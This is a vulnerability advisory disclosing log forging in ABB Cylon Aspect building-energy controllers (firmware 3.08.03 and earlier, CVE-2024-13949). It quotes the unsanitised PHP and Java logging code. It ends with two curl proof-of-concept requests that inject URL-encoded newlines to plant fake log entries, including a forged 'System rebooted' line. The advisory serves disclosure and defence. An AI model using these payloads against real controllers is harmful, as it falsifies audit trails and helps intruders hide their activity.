ABB Cylon Aspect 3.08.03 (Java/PHP) Log Forging


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.03

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: Multiple PHP and Java components across the system fail to properly
sanitize user-supplied input before including it in application logs. In
PHP, files like supervisorProxy.php directly embed values such as $_SERVER['REQUEST_URI']
and raw POST bodies into log messages without filtering, enabling attackers
to inject arbitrary log entries using encoded newline characters. Similarly,
Java classes using LoggerUtil.logger.* methods concatenate user-controlled
strings like usernames and cookie keys into logs without validation. This
systemic flaw allows for log forging, manipulating log content to obfuscate
activity, insert misleading entries, or facilitate follow-up attacks.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
           ErgoTech MIX Deployment Server 2.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5950
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5950.php

CVE ID: CVE-2024-13949
CVE URL: https://www.cve.org/CVERecord/SearchResults?query=CVE-2024-13949


21.04.2024

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$ cat supervisorProxy.php
...
...
15: $vars = file_get_contents('php://input');
16:
17: $logTitle = "Proxy Supervisor ".$_SERVER['REQUEST_URI']." ";
18: LoggerUtils::logWarning($logTitle." START", "POST: ".print_r($vars, true));
19:
20: $appId = 'supervisor1';
...
...

$ curl "http://192.168.73.31/supervisorProxy.php/%0AWe Are Watching You!%0A"

$ cat CookieDb.java
...
...
import com.aamatrixc.util.LoggerUtil;
..
..
LoggerUtil.logger.error or LoggerUtil.logger.debug or LoggerUtil.logger.info
LoggerUtil.logger.error(getClass().getName() + "setUserCookie() failed validation for user/key: " + cookieInfo.getUser() + "/" + cookieInfo.getKey() + ((resultCheck == null) ? "... resultCheck is null!" : ""));
...
...

$ curl http://192.168.73.31:7226/servlets/CookieDb?user=thricer%0A[INFO]%20System%20rebooted%20by%20amuser&key=yolo'